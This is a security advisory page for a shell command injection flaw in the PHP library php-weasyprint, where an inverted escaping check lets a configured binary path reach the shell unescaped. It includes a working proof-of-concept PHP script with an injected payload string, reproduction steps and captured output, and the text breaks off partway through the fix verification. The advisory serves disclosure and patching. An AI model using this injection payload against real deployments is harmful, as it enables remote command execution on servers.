high

CVE-2026-49260

Packagist · pontedilana/php-weasyprint

Summary

php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)

Severity
high
CVSS
8.2
EPSS
0.2% (p13)
CWE
CWE-78
Also known as
GHSA-f5gc-qxf8-mh9g
Published
2026-06-26
Updated
2026-06-26

Advisory details

Summary

pontedilana/php-weasyprint builds the shell command for WeasyPrint by passing the binary path through escapeshellarg() first and then checking the quoted result with is_executable(). On POSIX escapeshellarg('/usr/local/bin/weasyprint') returns '/usr/local/bin/weasyprint' with the single-quote characters as part of the string, so is_executable() looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw $binary string (set via the constructor or setBinary()) flows directly into Symfony\Component\Process\Process::fromShellCommandline(). Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1).

Affected versions

pontedilana/php-weasyprint versions <= 2.5.0 (current master tip commit c2b51fed0bf442c3bf0292b879a09944d436f2a0, 2026-04-03).

Patched in: 2.5.1

Privilege required

Any caller that can influence the binary string handed to the Pdf constructor or to AbstractGenerator::setBinary(). Typical reach paths:

Once an attacker plants a string containing shell metacharacters in one of those channels, every subsequent generate() call shells out the injected payload as the PHP process user.

Vulnerable code

src/AbstractGenerator.php#L169-L172:

protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
    $escapedBinary = \escapeshellarg($binary);
    $command = \is_executable($escapedBinary) ? $escapedBinary : $binary;

src/Pdf.php#L167-L170 overrides buildCommand with the same guard:

protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
    $escapedBinary = \escapeshellarg($binary);
    $command = \is_executable($escapedBinary) ? $escapedBinary : $binary;

escapeshellarg($binary) returns a single-quoted string. is_executable() then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where $command is the raw, unescaped $binary string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted.

This is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of php-weasyprint states: "This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same)." The vulnerable buildCommand was copied verbatim and never updated.

How $binary reaches the shell

caller code
  └── new Pdf($binary)                 // src/Pdf.php constructor
        └── parent::__construct($binary)
              └── $this->setBinary($binary)               // src/AbstractGenerator.php:276
                        $this->binary = $binary;          // no validation

later, at conversion time:

  $pdf->generate($input, $output, $options)
        └── $this->getCommand($input, $output, $options)  // src/AbstractGenerator.php:298
              └── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306
                    └── ($vulnerable guard, see above)
                    └── returns $command including raw $binary
        └── $this->executeCommand($command)               // src/AbstractGenerator.php:202
              └── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout)
                    └── /bin/sh -c $command               // shell metacharacters interpreted

No intermediate validator, no scheme check, no allow-list. Whatever string reaches setBinary() is shell-evaluated.

Proof of concept

<?php
require __DIR__ . '/vendor/autoload.php';

use Pontedilana\PhpWeasyPrint\Pdf;

@unlink('/tmp/php_weasyprint_rce_marker');

// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';

$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);

try {
    $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
    // WeasyPrint binary call fails (its actual exit status is irrelevant);
    // the injected 'touch' between the ';' separators already ran.
}

if (file_exists('/tmp/php_weasyprint_rce_marker')) {
    echo "RCE MARKER PRESENT — injection landed.\n";
} else {
    echo "RCE marker absent — injection did NOT land.\n";
}

The # at the end of $binaryString comments out the unrelated '/dev/null' '/tmp/poc_out.pdf' tail that buildCommand appends, keeping the shell line syntactically valid.

End-to-end reproduction (against pinned Composer install)

# 1. Pin the affected version
mkdir poc-weasyprint && cd poc-weasyprint
cat > composer.json <<'EOF'
{
    "require": { "pontedilana/php-weasyprint": "2.5.0" }
}
EOF
composer install --no-dev --quiet

# 2. Run the PoC
php poc.php

Captured run output (PHP 8.5.6, macOS arm64):

--- buildCommand output (uses reflection to peek) ---
weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf'
--- end buildCommand ---

generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma...

--- post-exec check ---
RCE MARKER PRESENT — injection landed.
stat: -rw-r--r--@ 1 rick  wheel  0  5月 25 13:44 /tmp/php_weasyprint_rce_marker

Interpretation:

Observation Expected if guard worked Actual
Compiled command starts with weasyprint --version ...; touch ...; # Should be wrapped in single quotes, e.g. 'weasyprint --version > /dev/null; touch /tmp/...; #' Raw, unquoted
/tmp/php_weasyprint_rce_marker after generate() Absent (binary path validation rejects) Present — injected touch ran

The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.

Negative control on a benign binary path:

php poc_negctrl.php
# --- buildCommand for benign binary ---
# /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf'
# Benign-path negative control clean: no spurious marker.

Even the benign path is emitted raw (without single-quotes around the binary), confirming the is_executable() guard never returns true — defensive depth is gone for every deployment, not just the malicious one.

Fix verification: replacing both buildCommand overrides with the KnpLabs/snappy 1.7.1 shape (if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);) and re-running the same harness:

--- patc

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.